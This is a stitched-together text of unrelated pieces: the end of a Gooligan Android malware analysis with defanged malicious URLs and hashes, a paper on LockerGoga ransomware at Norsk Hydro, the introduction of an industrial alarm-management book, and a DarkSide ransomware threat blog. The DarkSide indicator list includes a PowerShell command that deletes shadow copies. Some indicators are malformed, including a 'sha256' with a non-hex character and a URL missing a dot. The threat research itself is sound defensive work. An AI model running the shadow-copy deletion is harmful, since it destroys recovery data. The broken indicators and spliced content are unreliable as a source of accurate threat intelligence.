events. After the event is received, the malware sends a request with the device's info to the server g.omlao.com/igp/api/1. This protocol is different from the rest of the malware's components which use JSON and is based on protobufs. However, it encodes messages with the same XOR algorithm which is used in other parts of the malware. This indicates that the new module was based on the same codebase as the previous. The C&C server responses with a link to a dynamic plugin. The malware decodes it, and then loads and executes a method from it (com.ig.a.a.b). The purpose of injecting code into system apps is mainly to inject code into running Google Play or GMS (Google Mobile Services) processes. This is a technique first introduced by HummingBad. By doing so, the attackers can install as many fraudulent apps as they want without raising alarms by conducting any suspicious activity. The attackers mimic a user's normal behavior, instead of downloading apps from C&C servers which are much more likely to raise suspicion and get caught. Gooligan receives the names of the fraudulent apps for download from ad servers. Similar to HummingBad, the malware can also fake the device's identification information, such as IMEI and IMSI to download the same app again but registering as a separate device, doubling the potential revenue gained from each infected device. This is done through the Xposed framework and altering the information supplied by the TelephonyManager and Google Play market apps. ## FRAUDULENT RATINGS In addition to injecting code into Google Play processes and downloading fraudulent apps, the malware also leaves high ratings on the said apps and bogus reviews. The Check Point research team was able to identify several instances of this activity by cross-referencing data from breached devices with Google Play app reviews. This is another reminder of why users shouldn’t rely on ratings alone to decide whether to trust an app. ## NETWORK IOCs The Check Point investigation started with the following .apk sample: Package name - tub.ajy.ics sha256 - c1251cc47f34ech6a7bd0e44f72456111b7d6e21f9bd70e89ff9f466eb1d01ab98. 1. The malware accesses the following URLs: - hxxp://api2.appsolo.net/ggview/rsddateindex - hxxp://sys.aedxdrcb.com/ggview/rsddateindex - hxxp://api.aedxdrcb.com/ggview/rsddateindex - hxxp://sys.syllyq1n.com/ggview/rsddateindex - hxxp://sys.hdyfhpoi.com/ggview/rsddateindex During the research, we have found admin pages with applications related to Gooligan: - hxxp://mas.goaapis.com/overseaads/admin - hxxp://mas.goaapis.com/overseapay/admin - hxxp://pay.fastmopay.com/overseapay/admin 2. The malware then downloads malicious binaries: - hxxp://down.cmgkiwdwcom/thinking/group/pl4y_3 - hxxp://down.akocdn.com/onemain/maink.apk - hxxp://106.186.17.81/rootmasterdemo1128_524.apk - hxxp://down.vcrlwlen.com/thinking/group/rt1018_648.apk 3. The malware then accesses the server g.omlao.com to link to dex module to execute in infected process. 4. The malware sends logs of its operation to: - hxxp://api.gadmobs.com/oversea_adjust_and_download_write_redis/notify/download/app - hxxp://log.appsolo.net/gkview/info/601 - hxxp://m.aedxdrcb.com/pmsg/api/20 ## THE PERPETRATORS BEHIND GOOLIGAN Unfortunately, the attackers who created Gooligan malware have yet to be found. However, there are several leads that may help to trace them. The server which was used by the attackers to manage the Gooligan malware is an Amazon Web Services (AWS) server located in Singapore. Check Point has contacted AWS and the Singapore cybercrime authorities. ## WHO IS AFFECTED? Gooligan potentially affects devices on Android 4 (Jelly Bean, KitKat) and 5 (Lollipop), which is over 74% of in-market devices today. At least 13,000 devices have been infected per day since the campaign began on August 22, 2016, reaching a total of over a million rooted devices. The Check Point research team seized the entire list of victims by accessing the attackers’ Hadoop server (g.omlao.com, 52.74.212.250), which was left entirely open. Some of the email addresses are associated with government agencies in the Philippines, India, Bangladesh, and Belize, while others belong to educational institutions, financial services firms, and publicly traded enterprises. ## HOW DO YOU KNOW IF YOUR GOOGLE ACCOUNT IS BREACHED? Visit https://gooligan.checkpoint.com to learn if your account is breached. If it is, perform the following steps: - Remove the malware by installing a mobile security solution on your device like ZoneAlarm (for consumers) or Check Point Mobile Threat Prevention (for businesses). - Change your Google account password. ## SUMMARY The security of over a million Google accounts was breached by Gooligan, a new variant of Android malware discovered by Check Point researchers. This is the largest Google account breach to date affecting about 74% of all Android devices and exposing users' accounts for Google Play, Gmail, Google Photos, Google Docs, G Suite data, and more. ## CONCLUSION If your account has been breached, you should install a mobile security solution that removes the malware; then you should change your Google account password to reset the tokens for your device. ## APPENDIX 1 List of package names installed by Gooligan: - com.cg.clean.guru (No longer found on Google Play.) - com.violet.battery.guru (No longer found on Google Play.) - com.speed.boost.clean (No longer found on Google Play.) - com.tools.clean (No longer found on Google Play.) - com.doctor.power.saver.lite - com.doctor.power.saver - com.blackjack21.goodgame - com.power.fast.charge - com.xxgame.solitaire.android - com.xxapp.freemusic - com.doorwaygames.StarOfLasVegas - com.tattoo.draw.hand - com.tv.broadcast - com.sweet.wallpapers - com.androapplite.app.applock.lite.blue - com.fast.sos.flashlight - com.doctor.power.saver - com.xxgame.solitaire.android - com.xxapp.freemusic - com.violet.battery.guru - com.doorwaygames.StarOfLasVegas - com.doctor.power.saver.lite - com.power.fast.charge - com.tools.clean - com.cg.clean.guru - com.speed.boost.clean - com.battleships.pacific.android - com.blackjack21.goodgame - com.msgame.holdem.poker ## APPENDIX 2 SHA256 hashes of samples connected to the attack: - 07f9a055fdf9e3e67bfe7a67952747c0020e3e4ffe461122d23b653d4fd52455 - a1238be52e0913f8679e249b7099b9f58fe57a76a32e1b177743ce4d16abd000 - b0da7c219cc895db3c7fab3c5e6855e43e4e268733d982a02527af27eb762def - 867eb7655c11c01b9d35a0c595f82d4628d5583bd3ddc3fdfe19967995424555 - 354600f5691575f00b6abc48e555ddb69859d5973688443aad7dd6d1de4c6249 - 05b33442670e460c893710b7c0dda46bde826d8067bbaba36d1ee0d5907207ac - d9b8f075b348af14edf044624a72103428dc6577e69b7ea4e93763b4c1ab80c7 - cbedc9693849086cd388bf0d3c036bbfa80a9aa10c7d49db3575b8626a003e6e - a7b4f38844653b8f86ea5dd68cdf28a7e363df46968f4be75a5785e610987e59 - 870578049e8ccae3024b9344337fd640ccc4f14acb072b30bfb3abda30714a72 - e1257111072fdfe35779787f966a414dde40165eb66f382bbdc7676629b969d6 - 349fed356c7aa55c8971630f7935578f3504693d96a74c8f7cc73701747f5cb7 - f820744aedd716c5896574dee39b6c15e085a096920d7e70eb417dd891df0563 - 12b8da40ec9e53a83a7c4b1d490db397730123efa5e8ed39ee596d3bae42f80d - 70b8014302f72c4da8cb636f8bad643b32aaa7bd171010c5f045b771303db395 - 7842ead880bd98fb423723383e69db16fdb9ff917fc836522a42159fb7959f94 - c89d725daddc309bf24411e29dd58d1e181ffdfb5191c17c63217ba9c4fd09dc - e03c9a118d003b10e5b1a0770c77288aa139e06209d616ba5135b92460feda7f - e091d0a05e4514ac1c193cb26519f2cc1ee4f00c0ff447038e1c6f37a72ed1ff - a032d434a4c5e6f5d728d36d435b258be5a877752d79a8fd236e96527a3ff573 - 3386a5a5ee447cbde467e26f8442bcd2f9ada8eda03f8ca2e46e39b19aa4debb - 5bfe0e13e6d925dec72e401a829e320ef447852defa805d1ca7646001b5ec134 - cc553ef39d9c554ddaef8ea0d866379ffada7ea1fa994b19fddcb33e43c2f9a1 - 12062dfd934ca3fcde1e86871e84bb2f71bade21b8823da2c5fadc75bfafc8fb - ce22d3e9cee82dbb1a53609ccb6dfa3ec198d54c4eb35dd120dfa0a55a497c9c - d25e95b8a1d1024ecb983c758e2993def46e5de5f73d50f4f7762e29a5755712 - eca6693ca85549101c8dbe0910235eac193459e6e1b3133d33fbe4eea8417bc5 - 43b5985f025200b0a24357e02d5c680af98d45c20446fd2d981110d6a9696c76 - 191b4eb236c5ef2dfe5b942262d01d118ebf5c9a225ef7f0cba5a184445783aa - d1a38ede86092e621a734bc62f147556b888bf4c55489baf7a8de7f41f927b81 - cc1811aa02e6e4a821aef1f6bfbfef525d2f9c994a247586b2ae4e5850c1930f - c239e46b769801dd6d8e1ac6ea2e86738c67bdb0c0f3909c5fc02861386ecc52 - 470c633e4804e0abd917399d52ace266b4aba47816b113fbdd09b832a7d72194 - 0dfaad97ac88b159657d3642ddcacb31045dc98bb1f1d12805e6673ddca1ea1f - 421971df2f3dbd7173473404c8f3b2d3ed522efa86cac49ef905edf645054422 - 93cd06a6c3df7cda6d9213a0eab0b98daf9ea3e1f2b009f5bd40f160a4e6814a - 36e15c8b6211b22d4176424339ab39a52e65d2b1c9dea3b24c3639fb022a85ec - f0699aa87cf7a7845b39f21aa9e018e0860ac97e5b33c3eddfdca7d11c629cca - d10a691c1642d40eea40b6038ac961006a68f57dddd46bdf322a842ef459bd05 - e83b62fee05a9d3a10fff43782fa0cc45ef73391f8923d21cbe20b9b7c7db6ba - db04ad4a91d3a9fcba6d98e86c52b8644f071c94c9047bf34ff2fb84bc6d89c9 - 56557bf64edccf7758e48decffc619bf5b6761616a4fb192b9ef6ea7d930554b - 56f045b79e705bcc7255f5d43f596e36464a4b774d374b735161c29e47baa1e3 - 5b46e3137216a0776ca782c83004c0da4dafe7473eccd2fe8d8114e170d9329b
# SPYWARE STEALER LOCKER WIPER: LOCKERGOGA REVISITED ## EXECUTIVE SUMMARY LockerGoga ransomware severely impacted the Norwegian metals giant, Norsk Hydro, and provides a blueprint for malicious entities to weaponize ransomware variants for disruptive purposes. Ransomware has existed in various forms as a threat to computer operations for decades, rising to prominence in recent years. The evolution of ransomware has shifted from focused targeting to indiscriminate propagation and "big game hunting" of large enterprises. A space has developed where state-sponsored elements can weaponize ransomware-like functionality. Beginning with a clumsy monetization effort by North Korea through WannaCry, ransomware-as-disruptor established itself with the NotPetya event in 2017. While disruptive and harmful, NotPetya showed immaturity by being too obviously related to disruptive intentions rather than financial gain. A new version of LockerGoga impacted Norsk Hydro later, incorporating unique disruptive characteristics that called into question whether the attackers intended to decrypt systems after infection. Insufficient data exists to adequately classify Hydro as a state-sponsored disruption event instead of a financially motivated criminal exercise. Poor public-private information sharing due to mistrust and financial incentives from lawsuits hinder victims from providing necessary data to distinguish between criminal ransomware and likely state-sponsored disruption. Only by resolving these issues and providing security to victims can governments muster cooperation and information to identify and combat such threats. ## INTRODUCTION Ransomware has a surprisingly long history in information security, with the first publicly known instance being a floppy disk-distributed worm provided to AIDS researchers at a World Health Organization conference in 1989. After a lull, ransomware returned to focus with the emergence of CryptoLocker in 2013. Since then, ransomware has rapidly proliferated, with over 20 distinct families emerging between 2013 and 2016. Ransomware grew into one of the most disruptive and financially damaging types of computer security events, resulting in increasing financial costs and availability impacts lasting weeks or months during recovery operations. A turning point in ransomware arrived in 2017 with the WannaCry outbreak. While unprecedented for its speed, WannaCry proved to be the work of state-sponsored cyber activity, specifically entities working on behalf of North Korea. Ransomware shifted from a primarily criminal problem to one involving state-sponsored activity. This shift became more apparent when a variant of Petya ransomware swept across the globe with even greater disruption than WannaCry. Subsequent investigation identified the malware, now known as NotPetya, as a wiper masquerading as ransomware with the intention of causing massive, unrecoverable disruption on victim IT systems. Since the WannaCry and NotPetya events of 2017, ransomware has continued to impact entities including government agencies, schools, hospitals, and large corporations. The events of 2017 should not be overlooked, as they demonstrate a playbook for non-criminal actors. Ransomware’s disruptive capacity combined with its ubiquity may provide state-sponsored entities with a unique, deniable tool to achieve large-scale network disruption. NotPetya’s functionality made it apparent that the malware served as a wiper, functionally destroying infected machines rather than a true ransomware variant where decryption and recovery is possible. NotPetya’s indiscriminate spread resulted in impacts likely far beyond the responsible entity’s desires, including significant impacts in Russia. An adversary paying attention to these events could design a less virulent infection method enabling greater control over propagation while avoiding the destructive aspects of NotPetya. Given the continued widespread, disruptive nature of criminal ransomware, accurately detecting such weaponization would prove difficult if it occurred, if not outright impossible. ## A NOTE ON METHODOLOGY The following analysis relies almost entirely on publicly available reporting and analysis, with only a few exceptions sourced from multiple entities. Some entities may disagree with the analysis or details due to having additional, non-public information on the events discussed. Organizations possessing data that can significantly alter or dispute the analysis are encouraged to share relevant data to ensure greater accuracy. ## REVIEW OF LOCKERGOGA LockerGoga first emerged in January 2019 with a ransomware event at French engineering company Altran Technologies. Subsequent reporting confirmed that LockerGoga was responsible for the event, while ensuing CERT-FR reporting added additional details. Unlike many other ransomware variants, LockerGoga contained no self-propagation features. Instead of introducing a self-propagating file, the Altran incident involved an extensive, interactive breach by an unknown entity leveraging publicly available tools, such as Metasploit, PowerShell Empire, Cobalt Strike, and PSExec, to move laterally through the network. After initial execution on a victim host, multiple “worker” instances of the malware are launched to encrypt files on the host machine. The ransomware note providing contact instructions to negotiate payment is written last. The network decryption and negotiation approach represents a slight shift in ransomware, also observed in Ryuk and later variants. Attackers can hold an entire network hostage, negotiating for decryption of the entire victim space rather than providing per-host decryption instructions. ## THE NORSK HYDRO INCIDENT Following events at Altran, there were no recorded sightings of LockerGoga until 19 March 2019 when Norsk Hydro faced a crippling cyber attack. Based on public reporting, Hydro was able to resume reduced operations by placing impacted systems in manual operations mode. Hydro reporting did not provide technical observations or confirm if the attack constituted a ransomware event. Subsequent analysis indicated the event was the work of LockerGoga, featuring additional functionality not observed in previous versions. ### EVENT CHARACTERISTICS AND ATTACK PATH The first detailed reporting on the Hydro event came via independent security researchers. Follow-on reporting from the Norwegian CERT indicated LockerGoga spread and execution was enabled by a widespread compromise of Hydro’s Windows Active Directory (AD) instance. With this level of compromise, attackers have access and control over the victim’s Windows environment, enabling various options for malware execution. The unknown attackers managed this level of penetration through phishing, spoofing legitimate communication with a Hydro customer to deliver a malicious attachment. Subsequent actions resulted in the attackers gaining complete control of the AD environment. Although an official time estimate of how far in advance Hydro was breached before the LockerGoga incident is unknown, estimates range from weeks to months. The attackers were able to widely distribute LockerGoga on Windows terminals throughout Hydro for coordinated execution. ### LOCKERGOGA FUNCTIONALITY DIFFERENCES IN NORSK HYDRO The LockerGoga variant associated with events at Hydro features additional functionality not found in previous variants. The samples associated with Hydro add significant new and disruptive functionality, including changing local user account passwords to a hard-coded value, disabling the system network card, and forcibly logging off all logged-in users. This adds significantly more disruptive aspects to the event and appears to work against monetizing the infection. The ransom note associated with the event would require additional work to view, such as forensically imaging the machine to recover the note from disk. ## POSSIBLE ADDITIONAL VICTIMS AND WIDER EVENT TARGETING Additional details emerged over the course of 2019 concerning the Hydro event. The attack took place the day after Hydro announced its CEO was stepping down, raising suspicions about the timing. Reporting indicated multiple Norwegian companies were targeted by the same entity responsible for the Hydro event, suggesting a well-resourced team able to execute multiple compromises simultaneously. If all the entities involved were targeted by a group utilizing the same version of LockerGoga, the potential for economic disruption within Norway would be significant. The capability to render victim networks functionally unusable means the possibility for cascading economic shock is high. The Norsk Hydro-associated LockerGoga variant, if also targeting additional entities in the Norwegian economy, evolves from a critical concern for a single company to an item of near-existential risk for an entire country. ## LOCKERGOGA AND FIN6 Indications emerged that LockerGoga intrusions might be tied to a single entity, FireEye-designated FIN6, also responsible for some Ryuk ransomware events. Examination indicates the link to FIN6 appears to be a replication or extension of previously cited work surrounding criminal activity deploying ransomware. ## LOCKERGOGA SINCE NORSK HYDRO Following the Norsk Hydro event, LockerGoga seemed to disappear. While several security companies claimed they responded to multiple LockerGoga incidents, no public reporting emerged providing additional information. One entity that may have suffered a ransomware event at the hands of LockerGoga following Hydro is the Swiss-based manufacturing company Aebi Schmidt. ## LOCKERGOGA AND MEGACORTEX One possibility behind LockerGoga’s sudden rise and disappearance is that the entity behind the malware evolved or modified capabilities, especially after a high-profile event such as Norsk Hydro. Media reporting identified unusual links between LockerGoga and a newly emerged ransomware family called MegaCortex. While there are superficial similarities between the two, available evidence supports only a tangential connection. ## RANSOMWARE AS DISRUPTIVE CAPABILITY Typically, IT-focused destructive activity centers on wiper malware. Ransomware events that encrypt an entire network and disable key functionality deliver essentially the same impact as a network-wide wiper. Deploying ransomware without ever intending victim recovery presents a case where attackers can muddy reporting and potentially deflect blame while executing devastating attacks. ## CONCLUSIONS The Norsk Hydro ransomware event appears both straightforward and incredibly curious. While insufficient evidence exists to definitively determine that the Hydro event was truly a disruptive attack, details showcase items that forecast potential developments in the field of cyber warfare. The combination of a modification of existing ransomware, increased disruptive impacts, and targeting specification provides a blueprint for how a state-directed adversary could utilize criminal tooling for effective disruptive operations. As ransomware continues to evolve, defenders and policymakers must pay close attention to such events. Current frameworks for responding to disruptive intrusion events push most responsibility to victims, which may hinder the identification of trends and patterns indicative of coordinated operations. A rethink is required in how network defense, information sharing, and cost sharing are conducted to build a more robust security ecosystem for all involved stakeholders.
# Introduction We warm ourselves by fires we did not build and drink from wells we did not dig. —Ancient Semitic wisdom This book embodies the current best practices of process control alarm systems for industrial manufacturing facilities. It is a comprehensive guide developed to help you understand, design, evaluate, and use alarm systems. The coverage is accurate and complete and, at the same time, easy to grasp. The book contains all the “what is” information about alarm management so that you will fully understand. There is an extensive “how to” that you can use to perform every aspect of alarm system redesign. The style is low key. The technology is down to earth, solid, and based on strong design fundamentals. Some of you have experience with alarm projects. You’ve done work before others even knew alarm improvement was such an extraordinary opportunity to better operations. No doubt when you read this, you will find differences in what is suggested here in comparison to what you’ve done for your site. Please understand that this situation does not mean to imply that either of us might be wrong. It is just that now we understand the methodology better and have some very powerful and useful tools and procedures at our disposal. We do not have to do as much trial and error. New standards and practices are in place. We better understand how alarm management really works. Right about now others might be asking, how in the world can a topic as obscure as alarm management possibly lead to an entire book? What can be so important and useful? It just so happens that alarm improvement is a powerful means toward a valuable end. It provides a useful way to better plant operations. Alarm management is one of those lucky finds that yields wonderful prizes. Let me tell you why. Think about a time, many years ago, when travel was done mostly on foot, without maps, on dusty roads with forks and no signposts or mile markers. There were a number of ways to try to get to a town or village. One could simply follow a road and watch to see if it were becoming more traveled as one went along. One might be fortunate enough to happen upon a fellow traveler and inquire. If there were no traveler or no road, one might follow a stream to see what could be found. Depending on the lay of the land, it might be possible to head down into an inviting valley, or in the direction of chimneys smoking, or follow the hubbub to a busy market. Like the stream, road, or fellow traveler, alarm management leads to the village—but in our case the village is significantly improved plant operations. There are, of course, other roads to better operation. Examples would be a desire to reduce long-term costs, a need to improve product quality or delivery schedules, a requirement to manage environmental exposure, or the need to provide a significantly safer enterprise. Choose any one. Along the way, you will touch most of the same aspects you are going to touch by taking the alarm improvement path. Much of the benefits will be similar. But a most important difference will be that the alarm improvement road, this road, is traveled enough so that there are good maps, effective signposts, and lots of fellow travelers. This road has also been carefully planned with good restaurants and comfortable motels. Enjoy the trip. ## Not a Handbook This is not a handbook. Handbooks may deal with any topic, and are generally compendiums of information in a particular field or about a particular technique. They are designed to be easily consulted and provide quick answers in a certain area. This book is not a handbook because alarm management is not about affirming business as usual. Nothing is wrong with business as usual, except that is how process control systems (PCS) alarm capabilities drifted away from their intended purpose and into the center stage of poor operations performance. Getting better is less about tinkering and polishing and more about rethinking and redesign. Alarm management now has a foundation and a body of implementation experiences. This text covers the entire alarm management process from recognition to action. The reader learns how to recognize the level of performance of existing systems as well as how to take action through the methodology and procedures for designing new state-of-the-practice alarm systems. To do this job well, you will need to know more than the highlights and have more than lots of lists and procedures. ## Audience This book was created for individuals with a general familiarity of modern process control systems and how operators use them to manage their plants. Readers need not have any special or detailed experience in the configuration or specification of process control equipment. The ability to appreciate technical issues is important, but no prerequisite exists for any specific technical, educational, or experiential background. The book is a comprehensive treatment of the current best practices. The text covers the entire alarm management process from how to recognize the level of performance of existing systems through the methodology and procedures for redesigning (or designing new) state-of-the-practice alarm systems. You will find the style and content useful and understandable. The majority of the material has been presented around the world to a wide audience in a variety of formats as industrial and professional short courses and workshops. Audiences have included plant operators, operations supervisors and managers, process controls technicians, instrument and control technicians and engineers, health and safety personnel, process engineers and engineering supervisors, all manner of support staff, and notably senior plant management. The material of this book has met with enthusiastic reception. If you are interested in alarm management, this is your source! ## Usefulness This work elevates alarm management from a fragmented collection of procedures, metrics, and trial and error to the level of a technology discipline. Fundamental underpinnings provide a level of understanding that is independent of opinion and partial experiences. All critical tasks are explained, with examples and insight into what they mean. Alternatives are everywhere to enable industrial users to tailor-make their solutions for their particular sites. Many of the leading power, chemical, mining, pharmaceuticals, and petroleum manufacturing companies contributed to this best practice. There are a growing number of alarm management applications and improvement programs. They serve to excite the industrial community with the importance of good alarm system design. This text is a one-stop shop for alarm management practices from start to finish. It includes important material for understanding and managing abnormal plant operations. It illustrates the serious importance of process control graphics in the management of plants. Redesigning alarms will ensure that plant operators have an improved notification system to provide warning of abnormal operation. However, alarm improvement cannot stand alone. Warning alone fails to ensure operational success. This broad coverage exposes the practitioner to all the additional key aspects and practices that work together. The value of this treatment derives from the combination of the delivery of a clear, workable, comprehensive alarm system design and the coverage of intimately related “enablers” that empower the operator to fully leverage the improved alarm system. ## Contents This book is organized in three parts. Part I covers the alarm management problem. Part II lays out the solution. Part III provides the pathway to make it all real. There are twelve chapters. There is a natural progression of the work, with each chapter covering a specific area. It is suggested that the reader cover the material in that order. However, each chapter has value if read separately. This can be especially useful for those with a working knowledge of the technology who are looking for more detail or greater depth in selected topics. The book provides a working guide for project planning and execution. Certain chapters work especially well as stand-alone treatments. Chapter 2, “Abnormal Situations,” chapter 5, “Permission to Operate,” and chapter 12, “Situation Awareness,” are designed with this in mind. These topics bring out aspects of enterprise management that go beyond alarm systems in their overall importance. They elevate alarm improvement effectiveness to a level of value capable of delivering demonstrable benefit. Each chapter begins with the mention of the key concepts that underlie the topic. These key concepts are provided to assist the reader to clearly separate the concepts from the explanatory discussion. Taken as a whole, the set of key concepts could make up a shorthand bible of alarm management. ### Part I: The Alarm Management Problem Chapter 1, “Meet Alarm Management,” explores the basic reasons for considering improving your alarm system, introduces the four fundamental concepts that guide the process, and bridges the implementation over the distributed control system (DCS) and programming logic controllers (PLC) controls platforms and the process types: continuous, discrete, and batch. Chapter 2, “Abnormal Situations,” links process operation abnormalities to alarm performance requirements. Along the way we pick up the important concept of how to use time in setting alarm activation levels. Chapter 3, “Strategy for Alarm Improvement,” brings us up to speed with the who, what, when, and how to effect alarm system redesign. The existing standards and best practices are also covered. Chapter 4, “Alarm Performance,” covers the useful scales for measuring both alarm system design and operational performance. ### Part II: The Alarm Management Solution Chapter 5, “Permission to Operate,” provides a framework to cover an important need in plant operational protocol to ensure that unmanageable situations are avoided. Chapter 6, “Alarm Philosophy,” covers how each enterprise will specify their chosen alarm design. Chapter 7, “Rationalization,” is the heart of building the new alarm designs. It covers the technical procedures for how alarms are chosen, configured, documented, and folded back into the rest of the plant infrastructure. Chapter 8, “Enhanced Alarm Methods,” builds on the first-level alarm design to ensure that the alarm design accommodates changes in plant situations. ### Part III: Implementing Alarm Management Chapter 9, “Implementation,” gets into the realities of taking a new alarm design and producing a new working alarm system ready to fully assist the operator. Chapter 10, “Life Cycle Management,” clears the way to understanding what is needed to keep a new alarm system working down the road so that it can deliver continuous operational benefit. Chapter 11, “Project Development,” provides alternative ways to produce a program for comprehensive alarm improvement, from start to finish, that matches the enterprise’s way of conducting work projects. Chapter 12, “Situation Awareness,” rounds out the entire work by providing the understanding and technology for improving the operator’s ability to manage a process without undue reliance on alarms. ## Book Deliverables Upon completion, you will have a solid, clear foundational understanding of the purpose of alarms, the rationale behind a state-of-the-practice design, and sufficient how-to knowledge to competently perform in the technology. This book is designed to provide a basis for the following competencies: - Understanding the proper use of process control alarm systems - Knowing the underlying defining attributes and purpose of an alarm - Appreciating the importance of effective alarm management - Recognizing alarm system performance problems, including alarm flood - Becoming knowledgeable in the best practices for alarm system design - Learning the value of alarm data diagnostic tools - Understanding the entire process for designing and executing an alarm improvement project - Understanding the influence of good graphic interface design on plant operability and effective situation awareness - Becoming a qualified participant in alarm improvement teams ## Important Word Please note that this book is not intended in any way to offer advice or recommendations as to the appropriateness or lack of appropriateness of including or excluding any specific alarm for any site. The choice of which aspects to alarm for the plant or process, the parameters of that alarm, the proper operator response to correct the alarm condition, and all other details of that alarm must be retained wholly by qualified, authorized members of the plant staff, who must act with full knowledge of their specific plant configuration, process conditions, equipment, and applicable statutory practices and requirements. No single work is capable of conveying the entire collective experience and important nuances necessary for success. After you read this book, it is recommended that plants with intentions or plans for alarm improvement seek additional specific guidance and experience from knowledgeable experts.
# DarkSide: The New Ransomware Group Behind Highly Targeted Attacks We’ve recently observed the emergence of a new ransomware operation named DarkSide. The nuance of the operation includes corporate-like methods and customized ransomware executables, which have made headlines. When it comes to analyzing new ransomware campaigns, one might ask, “how innovative is this threat compared to previous ones?” Well, DarkSide is no different from its counterparts but is indeed the latest representation of the rising Ransomware-as-a-Corporation (RaaC) trend. Cybercriminals have seen their revenues steadily increase in the last years, making the ransomware market extremely prolific. Consequently, we’ve observed frequent attempts from threat actors to upscale their operations’ external appearance to improve their reliability and reputation. ## Bringing DarkSide to Light The DarkSide operation is hardly innovating in terms of tactics, techniques, and procedures (TTPs) used by other threat actors. The group shares its methods with infamous names like DoppelPaymer, Sodinokibi, Maze, and NetWalker. Many researchers that have analyzed the DarkSide ransomware agree that there are significant overlaps between this operation and those mentioned above. What, then, makes DarkSide particularly interesting? The answer is threefold: 1. The group has a highly targeted approach to targeting their victims. 2. Custom ransomware executables are carefully prepared for each target. 3. There is a corporate-like method of communication throughout their attacks. The group behind DarkSide announced its new ransomware operation via a press release on their Tor domain in August 2020. Up until this point, some researchers have claimed that the group has earned over one million USD; however, Digital Shadows cannot corroborate a definite figure at the time of this report. Possibly in an attempt to underline their experience, they made a point to clarify that the DarkSide operation isn’t their first criminal experience; the campaign was developed to refine existing products into the ultimate ransomware tool. The press release stated several ethical principles that guide the group’s decision process regarding their potential targets; they claim that the DarkSide operation will never target critical and vulnerable bodies such as schools, hospitals, or even governments. We’ve seen other groups claim to stay away from specific sectors; however, a recently unattributed ransomware attack, which targeted Duesseldorf University Hospital, may have inadvertently caused a woman to lose her life. With these tragic concerns in mind, we’ll see if they stick to their plan. To go even further, the group behind DarkSide states their intent to select their targets based on their financial revenue. This method implies that a ransom price is modeled around the victim organization’s net income. The operators behind DarkSide harvest the clear text data from their victim’s server before encrypting it and requesting a ransom. The stolen data is then uploaded to DarkSide’s leak website, which serves as a powerful extortion tool for the threat group. The targeted company risks sensitive data loss after a successful attack, and not to mention, a public breach can severely damage an organization’s reputation. If this tactic sounds familiar to you, you’re right on the money – we’ve been closely following the pay-or-get-breached trend since late 2019. ## They’re Only Interested in Stealing from the Rich As we mentioned earlier, other ransomware operators have claimed to remove specific sectors from their attack itinerary. DarkSide’s claim to avoid attacking companies within the education, healthcare, and government sectors can appear professional and respectable. Nonetheless, some promises are broken, and it is yet to be seen whether DarkSide will maintain its stated intentions. DarkSide has additionally claimed that they choose their targets and determine a suitable ransom based on an organization’s financial revenue. It’s unconfirmed where DarkSide sources their organizational finance information from; however, Digital Shadows has found that, like many other ransomware operators, they may leverage relevant details from ZoomInfo. ## Upping the Ante with Customized Ransomware Executables DarkSide’s operators customize the ransomware executable for the specific company they are attacking, indicating that they customize each attack for maximum effectiveness. The ransomware executes a PowerShell command that deletes Shadow Volume Copies on the system. DarkSide then proceeds to terminate various databases, applications, and mail clients to prepare for encryption. However, the following processes are avoided: - Vmcompute.exe - Vmms.exe - Vmwp.exe - Svchost.exe - TeamViewer.exe - Explorer.exe Although unconfirmed, it is realistically possible that the operators use TeamViewer for remote access to computers, as it is rare that this process would be avoided. Each customized executable includes a personalized ransom note, which consists of the amount of data that was stolen, the type of data, and a link to the data on the group’s data leak site, where victims’ information is leaked if a ransom demand is not met. While the site only references one compromised organization at the time of this blog, we plan to keep an eye on this group. In the meantime, we have listed DarkSide’s current indicators of compromise (IoCs) and their associated MITRE ATT&CK techniques at the end of this blog. ## Press Releases Make It Look More Professional, Right? DarkSide attempts to build trust with the victim and the other actors involved by leveraging professional communication methods. Over time, we have found that trust plays a pivotal role in the cybercriminal world and often determines the possibilities of an entity’s growth and expansion. For example, the English-language marketplace, Empire, had long represented a trust stronghold on the dark web, favoring its establishment in the underground scene – until recently, when rumors of a possible exit scam started to circulate and gain increasing traction. The use of a press release to announce a new ransomware operation is a symbol of the threat actor’s intentions and maintains a dual-use: 1. Usually, only corporations and institutions use press releases; they project the impression of dealing with a professional body. In this case, a press release may convince the victim to trust the threat actor and pay the requested ransom. 2. Press releases attract media attention and ultimately weaponize stolen data, leading to severe reputational damage to a targeted organization. This operation isn’t the first time a threat group has used a press release to communicate its latest operations or threaten a victim. Many of us remember the campaigns conducted by “thedarkoverlord” in 2016 and 2017, which leveraged press releases in the wake of their attacks. Even more recently, in May 2020, REvil ransomware operators posted press releases to pressure their victims, which overtly named the compromised organizations and claimed to double their ransoms. ## Looking Forward: Ransomware, Inc. Although this operation displays a unique combination of tactics, communication, and ethical claims, DarkSide merely seems to be the latest product belonging to the growing trend of ransomware professionalization. As RaaC continues to remain a popular method due to its rewarding financial return, we plan to see new threat groups with differing technical capabilities entering the ransomware Thunderdome. Whether or not they’ll succeed in breaking the mold – only time will tell. While the cyber threat landscape can be unpredictable and volatile, a trend is a trend, and we will continue to monitor the cybercriminal bandwagon closely. ## Indicators of Compromise (IoCs) - MD5: 1a1ea6418811d0dc0b4eea66f0d348f0 - MD5: 25bb5ae5bb6a2201e980a590ef6be561 - SHA256: 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297 - FILENAME: acer.exe - SHA1: d1dfe82775c1d698dd7861d6dfa1352a74551d35 - MD5: f87a2e1c3d148a67eaeb696b1ab69133 - FILEPATH: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} - FILENAME: README.[victim’s_ID].TXT - FILENAME: Win32 EXE ## MITRE ATT&CK Techniques - Valid Accounts (T1078) - PowerShell (T1086) - System Services: Service Execution (T1569) - Account Manipulation (T1098) - Process Injection: Dynamic-link Library Injection (T1055) - Account Discovery (T1087) - Abuse Elevation Control Mechanism: Bypass User Access Control (T1548) - File Permissions Modification (T1222) - Data Encrypted for Impact (T1486) - Inhibit System Recovery (T1490) - System Information Discovery (T1082) - Process Discovery (T1057) - Screen Capture (T1113) - Compile After Delivery (T1500) - Service Execution (T1035) - Account Manipulation (T1098) - Credentials in Registry (T1214) Tags: Cyber Threats / DarkSide / Ransomware
